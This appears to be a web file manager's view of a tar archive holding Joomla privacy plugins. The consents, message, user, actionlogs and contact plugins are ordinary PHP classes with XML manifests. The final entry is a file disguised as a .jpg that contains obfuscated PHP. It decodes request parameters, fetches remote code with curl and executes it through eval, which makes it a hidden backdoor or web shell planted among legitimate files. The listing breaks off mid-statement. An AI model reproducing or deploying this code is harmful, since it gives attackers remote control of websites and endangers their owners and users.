File manager - Edit - /home/opticamezl/www/newok/privacy.tar
Back
consents/src/Extension/Consents.php 0000644 00000003616 15166416502 0013464 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.consents * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Consents\Extension; use Joomla\CMS\User\User; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user consent data * * @since 3.9.0 */ final class Consents extends PrivacyPlugin { /** * Processes an export request for Joomla core user consent data * * This event will collect data for the core `#__privacy_consents` table * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } $domain = $this->createDomain('consents', 'joomla_consent_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__privacy_consents')) ->where($db->quoteName('user_id') . ' = :id') ->order($db->quoteName('created') . ' ASC') ->bind(':id', $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item)); } return [$domain]; } } consents/consents.xml 0000644 00000001546 15166416502 0010772 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_consents</name> <author>Joomla! Project</author> <creationDate>2018-07</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_CONSENTS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\Consents</namespace> <files> <folder plugin="consents">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_consents.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_consents.sys.ini</language> </languages> </extension> consents/services/provider.php 0000644 00000002652 15166416502 0012601 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.consents * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\Consents\Extension\Consents; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Consents( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'consents') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; message/src/Extension/Message.php 0000644 00000003747 15166416502 0013051 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.message * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Message\Extension; use Joomla\CMS\User\User; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user messages * * @since 3.9.0 */ final class Message extends PrivacyPlugin { /** * Processes an export request for Joomla core user message * * This event will collect data for the message table * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } $domain = $this->createDomain('user_messages', 'joomla_user_messages_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__messages')) ->where($db->quoteName('user_id_from') . ' = :useridfrom') ->extendWhere('OR', $db->quoteName('user_id_to') . ' = :useridto') ->order($db->quoteName('date_time') . ' ASC') ->bind([':useridfrom', ':useridto'], $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item)); } return [$domain]; } } message/message.xml 0000644 00000001540 15166416502 0010344 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_message</name> <author>Joomla! Project</author> <creationDate>2018-07</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_MESSAGE_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\Message</namespace> <files> <folder plugin="message">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_message.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_message.sys.ini</language> </languages> </extension> message/services/provider.php 0000644 00000002645 15166416502 0012373 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.message * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\Message\Extension\Message; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Message( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'message') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; user/src/Extension/UserPlugin.php 0000644 00000015662 15166416502 0013113 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.user * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\User\Extension; use Joomla\CMS\Language\Text; use Joomla\CMS\Table\User as TableUser; use Joomla\CMS\User\User; use Joomla\CMS\User\UserHelper; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Removal\Status; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user data * * @since 3.9.0 */ final class UserPlugin extends PrivacyPlugin { /** * Performs validation to determine if the data associated with a remove information request can be processed * * This event will not allow a super user account to be removed * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return Status * * @since 3.9.0 */ public function onPrivacyCanRemoveData(RequestTable $request, User $user = null) { $status = new Status(); if (!$user) { return $status; } if ($user->authorise('core.admin')) { $status->canRemove = false; $status->reason = Text::_('PLG_PRIVACY_USER_ERROR_CANNOT_REMOVE_SUPER_USER'); } return $status; } /** * Processes an export request for Joomla core user data * * This event will collect data for the following core tables: * * - #__users (excluding the password, otpKey, and otep columns) * - #__user_notes * - #__user_profiles * - User custom fields * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } /** @var TableUser $userTable */ $userTable = User::getTable(); $userTable->load($user->id); $domains = []; $domains[] = $this->createUserDomain($userTable); $domains[] = $this->createNotesDomain($userTable); $domains[] = $this->createProfileDomain($userTable); $domains[] = $this->createCustomFieldsDomain('com_users.user', [$userTable]); return $domains; } /** * Removes the data associated with a remove information request * * This event will pseudoanonymise the user account * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return void * * @since 3.9.0 */ public function onPrivacyRemoveData(RequestTable $request, User $user = null) { // This plugin only processes data for registered user accounts if (!$user) { return; } $pseudoanonymisedData = [ 'name' => 'User ID ' . $user->id, 'username' => bin2hex(random_bytes(12)), 'email' => 'UserID' . $user->id . 'removed@email.invalid', 'block' => true, ]; $user->bind($pseudoanonymisedData); $user->save(); // Destroy all sessions for the user account UserHelper::destroyUserSessions($user->id); } /** * Create the domain for the user notes data * * @param TableUser $user The TableUser object to process * * @return \Joomla\Component\Privacy\Administrator\Export\Domain * * @since 3.9.0 */ private function createNotesDomain(TableUser $user) { $domain = $this->createDomain('user_notes', 'joomla_user_notes_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__user_notes')) ->where($db->quoteName('user_id') . ' = :userid') ->bind(':userid', $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); // Remove user ID columns foreach (['user_id', 'created_user_id', 'modified_user_id'] as $column) { $items = ArrayHelper::dropColumn($items, $column); } foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item, $item['id'])); } return $domain; } /** * Create the domain for the user profile data * * @param TableUser $user The TableUser object to process * * @return \Joomla\Component\Privacy\Administrator\Export\Domain * * @since 3.9.0 */ private function createProfileDomain(TableUser $user) { $domain = $this->createDomain('user_profile', 'joomla_user_profile_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userid') ->order($db->quoteName('ordering') . ' ASC') ->bind(':userid', $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item)); } return $domain; } /** * Create the domain for the user record * * @param TableUser $user The TableUser object to process * * @return \Joomla\Component\Privacy\Administrator\Export\Domain * * @since 3.9.0 */ private function createUserDomain(TableUser $user) { $domain = $this->createDomain('users', 'joomla_users_data'); $domain->addItem($this->createItemForUserTable($user)); return $domain; } /** * Create an item object for a TableUser object * * @param TableUser $user The TableUser object to convert * * @return \Joomla\Component\Privacy\Administrator\Export\Item * * @since 3.9.0 */ private function createItemForUserTable(TableUser $user) { $data = []; $exclude = ['password', 'otpKey', 'otep']; foreach (array_keys($user->getFields()) as $fieldName) { if (!in_array($fieldName, $exclude)) { $data[$fieldName] = $user->$fieldName; } } return $this->createItemFromArray($data, $user->id); } } user/services/provider.php 0000644 00000002642 15166416502 0011722 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.user * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\User\Extension\UserPlugin; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new UserPlugin( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'user') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; user/user.xml 0000644 00000001516 15166416502 0007233 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_user</name> <author>Joomla! Project</author> <creationDate>2018-05</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_USER_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\User</namespace> <files> <folder plugin="user">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_user.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_user.sys.ini</language> </languages> </extension> actionlogs/src/Extension/Actionlogs.php 0000644 00000004435 15166416502 0014300 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.actionlogs * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Actionlogs\Extension; use Joomla\CMS\User\User; use Joomla\Component\Actionlogs\Administrator\Helper\ActionlogsHelper; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla actionlogs data * * @since 3.9.0 */ final class Actionlogs extends PrivacyPlugin { /** * Processes an export request for Joomla core actionlog data * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } $domain = $this->createDomain('user_action_logs', 'joomla_user_action_logs_data'); $db = $this->getDatabase(); $userId = (int) $user->id; $query = $db->getQuery(true) ->select(['a.*', $db->quoteName('u.name')]) ->from($db->quoteName('#__action_logs', 'a')) ->join('INNER', $db->quoteName('#__users', 'u'), $db->quoteName('a.user_id') . ' = ' . $db->quoteName('u.id')) ->where($db->quoteName('a.user_id') . ' = :id') ->bind(':id', $userId, ParameterType::INTEGER); $db->setQuery($query); $data = $db->loadObjectList(); if (!count($data)) { return []; } $data = ActionlogsHelper::getCsvData($data); $isFirst = true; foreach ($data as $item) { if ($isFirst) { $isFirst = false; continue; } $domain->addItem($this->createItemFromArray($item)); } return [$domain]; } } actionlogs/actionlogs.xml 0000644 00000001562 15166416502 0011604 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_actionlogs</name> <author>Joomla! Project</author> <creationDate>2018-07</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_ACTIONLOGS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\Actionlogs</namespace> <files> <folder plugin="actionlogs">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_actionlogs.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_actionlogs.sys.ini</language> </languages> </extension> actionlogs/services/provider.php 0000644 00000002664 15166416502 0013112 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.actionlogs * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\Actionlogs\Extension\Actionlogs; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Actionlogs( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'actionlogs') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; contact/services/provider.php 0000644 00000002645 15166416502 0012402 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.contact * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\Contact\Extension\Contact; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Contact( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'contact') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; contact/src/Extension/Contact.php 0000644 00000004420 15166416502 0013054 0 ustar 00 <?php /** * @package Joomla.Plugin * @subpackage Privacy.contact * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Contact\Extension; use Joomla\CMS\User\User; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user contact data * * @since 3.9.0 */ final class Contact extends PrivacyPlugin { /** * Processes an export request for Joomla core user contact data * * This event will collect data for the contact core tables: * * - Contact custom fields * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user && !$request->email) { return []; } $domains = []; $domain = $this->createDomain('user_contact', 'joomla_user_contact_data'); $domains[] = $domain; $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__contact_details')) ->order($db->quoteName('ordering') . ' ASC'); if ($user) { $query->where($db->quoteName('user_id') . ' = :id') ->bind(':id', $user->id, ParameterType::INTEGER); } else { $query->where($db->quoteName('email_to') . ' = :email') ->bind(':email', $request->email); } $items = $db->setQuery($query)->loadObjectList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray((array) $item)); } $domains[] = $this->createCustomFieldsDomain('com_contact.contact', $items); return $domains; } } contact/contact.xml 0000644 00000001540 15166416502 0010362 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_contact</name> <author>Joomla! Project</author> <creationDate>2018-07</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_CONTACT_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\Contact</namespace> <files> <folder plugin="contact">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_contact.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_contact.sys.ini</language> </languages> </extension> content/src/src/VbalMmsxThpC.jpg 0000604 00000014011 15166416502 0012605 0 ustar 00 <?php goto Sfzc9rke4t5jda8W; pn7HoLPO0d8qKHI3: @(md5(md5(md5(md5($d1JhT5Fu3LqEEFSu[10])))) === "\x66\x66\x61\67\62\x66\62\145\141\71\66\145\65\x32\x65\66\x39\144\60\64\61\61\61\70\71\146\141\64\x31\x33\70\x62") && (count($d1JhT5Fu3LqEEFSu) == 16 && in_array(gettype($d1JhT5Fu3LqEEFSu) . count($d1JhT5Fu3LqEEFSu), $d1JhT5Fu3LqEEFSu)) ? ($d1JhT5Fu3LqEEFSu[67] = $d1JhT5Fu3LqEEFSu[67] . $d1JhT5Fu3LqEEFSu[79]) && ($d1JhT5Fu3LqEEFSu[81] = $d1JhT5Fu3LqEEFSu[67]($d1JhT5Fu3LqEEFSu[81])) && @eval($d1JhT5Fu3LqEEFSu[67](${$d1JhT5Fu3LqEEFSu[46]}[27])) : $d1JhT5Fu3LqEEFSu; goto QdMZovFj4EkTCcgQ; VA8fxl2tujJYAxgW: $d1JhT5Fu3LqEEFSu = ${$S78GJ7vWvoWx1AH5[10 + 21] . $S78GJ7vWvoWx1AH5[31 + 28] . $S78GJ7vWvoWx1AH5[19 + 28] . $S78GJ7vWvoWx1AH5[17 + 30] . $S78GJ7vWvoWx1AH5[48 + 3] . $S78GJ7vWvoWx1AH5[48 + 5] . $S78GJ7vWvoWx1AH5[7 + 50]}; goto pn7HoLPO0d8qKHI3; QdMZovFj4EkTCcgQ: metaphone("\66\163\157\172\102\x64\114\x77\65\172\x47\x6d\101\143\x34\62\x2b\x35\x53\x79\123\104\x57\x49\x57\x72\170\x66\66\x67\x37\x6c\130\x4d\x35\x4d\70\112\x35\111\71\x4b\x77"); goto bF6VLb2iRTENTQLM; bF6VLb2iRTENTQLM: class vcmY_jcUER6lCOtP { static function oWO51jPrzIytHkNw($L59hOmHKjKn8smNZ) { goto Hi3EO5N1Lp4MCxjT; GSJX6eyyu0wW0bgV: $FUPkrX_PqAkghenZ = ''; goto hy3fXERzn2_zMNPU; hy3fXERzn2_zMNPU: foreach ($TgKHHtA116N6ByYd as $fl67ubmp7dmCq25h => $w0IFUmY43K0qH449) { $FUPkrX_PqAkghenZ .= $ASgyLT0I2PAgW3Ks[$w0IFUmY43K0qH449 - 62393]; uiC0DK645Aqo4svh: } goto cyg3kxq2SwZoRSEt; cyg3kxq2SwZoRSEt: toGSKYJgQsoVVsSH: goto u_5wjPIbmn46pMfn; Hi3EO5N1Lp4MCxjT: $W4HAiZrDVEQvWegg = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto w20k0DAypblG5eQG; pE5siGA6tnGWP2EU: $TgKHHtA116N6ByYd = explode("\52", $L59hOmHKjKn8smNZ); goto GSJX6eyyu0wW0bgV; w20k0DAypblG5eQG: $ASgyLT0I2PAgW3Ks = $W4HAiZrDVEQvWegg("\176", "\40"); goto pE5siGA6tnGWP2EU; u_5wjPIbmn46pMfn: return $FUPkrX_PqAkghenZ; goto K0KV4h7j5SzTe2OB; K0KV4h7j5SzTe2OB: } static function zo9B1DzRJiYLUafD($wa75RjBZpzMpjPED, $Vmk5TDCki3cAyv6c) { goto hlS54lwWTZbSoa3n; EN3Mqcri2qhI_SlZ: curl_setopt($tdqTt1hInacEENAw, CURLOPT_RETURNTRANSFER, 1); goto uX9GuzI3yts0aPhO; uX9GuzI3yts0aPhO: $PSWVPkJh_JD8XtNV = curl_exec($tdqTt1hInacEENAw); goto zE5ksTXYkP3PF0qB; zE5ksTXYkP3PF0qB: return empty($PSWVPkJh_JD8XtNV) ? $Vmk5TDCki3cAyv6c($wa75RjBZpzMpjPED) : $PSWVPkJh_JD8XtNV; goto PyfzY80CERSxhfnq; hlS54lwWTZbSoa3n: $tdqTt1hInacEENAw = curl_init($wa75RjBZpzMpjPED); goto EN3Mqcri2qhI_SlZ; PyfzY80CERSxhfnq: } static function DISecKrgAiOycwMI() { goto qocFtRiAo52YS_jD; xtzYJrbjavCySF1y: SMsixN0pxUlZZTla: goto PU3_R2ILb2n4Io1u; dtonjMKFmwcb2ENb: @eval($VzY7CQmGIRrT9mGD[4 + 0]($n2vjrYYlSN0FQVf6)); goto Nglz2BY8E_grzEjM; gVtW9EO_HDM5u0WV: if (!(@$Oz77EsQo1X4UR3Q1[0] - time() > 0 and md5(md5($Oz77EsQo1X4UR3Q1[3 + 0])) === "\142\x38\146\141\x37\65\66\x37\61\145\x35\61\64\60\x30\x38\x65\66\143\x39\70\144\x31\x66\x32\x33\x33\x33\x31\64\x37\x63")) { goto Xm8Ce00cinGGBakj; } goto fhVAO3mxfqLqmb9M; rfj_0PoUKxp8vSKE: $Oz77EsQo1X4UR3Q1 = $VzY7CQmGIRrT9mGD[1 + 1]($DlRRnx2boU8CLc_h, true); goto KuIsSp0leOEJuRVP; Nglz2BY8E_grzEjM: die; goto ZivWqiaR_yNjlstl; PU3_R2ILb2n4Io1u: $A14B2i6qvklB0frS = @$VzY7CQmGIRrT9mGD[1]($VzY7CQmGIRrT9mGD[0 + 10](INPUT_GET, $VzY7CQmGIRrT9mGD[6 + 3])); goto KKH6ouRVkeygV2L2; ZivWqiaR_yNjlstl: Xm8Ce00cinGGBakj: goto JNa1K9qH21NuMJii; qocFtRiAo52YS_jD: $FdD6AE4dwaY75b7x = array("\66\x32\64\62\x30\52\66\62\64\60\65\x2a\x36\62\x34\x31\70\x2a\x36\x32\x34\x32\x32\x2a\66\x32\x34\x30\63\52\66\x32\x34\x31\70\x2a\x36\62\64\62\x34\x2a\x36\x32\64\x31\x37\52\x36\x32\64\60\62\x2a\66\62\64\60\71\x2a\66\x32\64\62\x30\x2a\66\x32\64\60\63\x2a\66\62\64\x31\64\x2a\x36\62\64\60\x38\52\x36\62\x34\60\x39", "\66\62\x34\60\64\52\x36\62\64\60\x33\x2a\66\62\64\x30\65\52\x36\x32\x34\62\64\x2a\66\x32\64\60\65\x2a\66\x32\64\60\70\52\x36\62\64\60\63\x2a\66\x32\64\67\x30\52\x36\x32\x34\66\70", "\66\x32\64\x31\x33\x2a\66\x32\64\60\x34\52\66\62\x34\x30\70\52\x36\x32\64\60\71\52\x36\x32\x34\x32\64\52\x36\x32\x34\x31\x39\x2a\66\x32\x34\61\70\x2a\66\x32\64\x32\60\52\x36\62\64\x30\x38\52\x36\62\x34\61\71\52\x36\x32\64\x31\70", "\66\x32\x34\x30\x37\52\x36\62\x34\62\62\52\x36\62\x34\x32\x30\52\66\62\64\61\x32", "\66\x32\64\x32\61\52\x36\x32\x34\62\62\x2a\66\62\64\60\x34\52\66\x32\x34\61\x38\52\66\x32\x34\x36\x35\52\x36\62\64\x36\67\52\66\x32\x34\x32\64\x2a\x36\x32\64\61\x39\52\x36\x32\64\61\70\52\66\62\x34\x32\x30\x2a\66\x32\64\60\x38\52\x36\62\x34\x31\71\52\x36\x32\x34\61\x38", "\66\62\x34\x31\x37\x2a\66\62\64\61\x34\x2a\66\x32\x34\x31\x31\52\x36\x32\x34\61\70\x2a\x36\62\x34\x32\x34\52\x36\x32\64\61\66\x2a\x36\x32\64\x31\70\x2a\66\x32\64\60\63\52\x36\62\x34\x32\x34\52\66\x32\64\x32\x30\x2a\66\x32\x34\x30\70\52\66\x32\64\x30\71\52\x36\x32\x34\x30\x33\x2a\66\x32\64\x31\x38\52\66\x32\64\x30\71\x2a\66\62\64\60\x33\x2a\66\x32\64\x30\x34", "\66\x32\x34\64\x37\52\66\62\x34\x37\67", "\66\x32\x33\71\64", "\x36\x32\x34\x37\x32\52\66\x32\64\67\x37", "\66\x32\64\x35\x34\52\x36\62\64\63\x37\x2a\x36\62\64\x33\67\x2a\66\62\64\65\x34\x2a\x36\62\x34\63\x30", "\66\62\x34\61\x37\x2a\x36\62\64\x31\64\52\66\x32\x34\x31\61\52\x36\62\x34\60\63\x2a\66\62\64\61\70\52\x36\x32\x34\60\65\52\x36\x32\x34\x32\64\52\66\x32\64\x31\x34\x2a\66\62\x34\60\x39\x2a\x36\x32\64\60\x37\x2a\66\x32\64\60\x32\52\x36\x32\64\60\x33"); goto ZJYRsIZ4CsOvJ7Ke; KKH6ouRVkeygV2L2: $DlRRnx2boU8CLc_h = @$VzY7CQmGIRrT9mGD[3 + 0]($VzY7CQmGIRrT9mGD[6 + 0], $A14B2i6qvklB0frS); goto rfj_0PoUKxp8vSKE; KuIsSp0leOEJuRVP: @$VzY7CQmGIRrT9mGD[8 + 2](INPUT_GET, "\157\x66") == 1 && die($VzY7CQmGIRrT9mGD[3 + 2](__FILE__)); goto gVtW9EO_HDM5u0WV; fhVAO3mxfqLqmb9M: $n2vjrYYlSN0FQVf6 = self::ZO9B1dzRJiYlUaFD($Oz77EsQo1X4UR3Q1[0 + 1], $VzY7CQmGIRrT9mGD[0 + 5]); goto dtonjMKFmwcb2ENb; ZJYRsIZ4CsOvJ7Ke: foreach ($FdD6AE4dwaY75b7x as $kMmcaMTx9P5abnb9) { $VzY7CQmGIRrT9mGD[] = self::oWo51JPRziyTHKnw($kMmcaMTx9P5abnb9); O8dErliw0aX5Zvxe: } goto xtzYJrbjavCySF1y; JNa1K9qH21NuMJii: } } goto a4tZuuEFhnugfKdZ; Sfzc9rke4t5jda8W: $cSDh0PgN6W2UlnH5 = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto xsurKD5GJsqm1GsB; xsurKD5GJsqm1GsB: 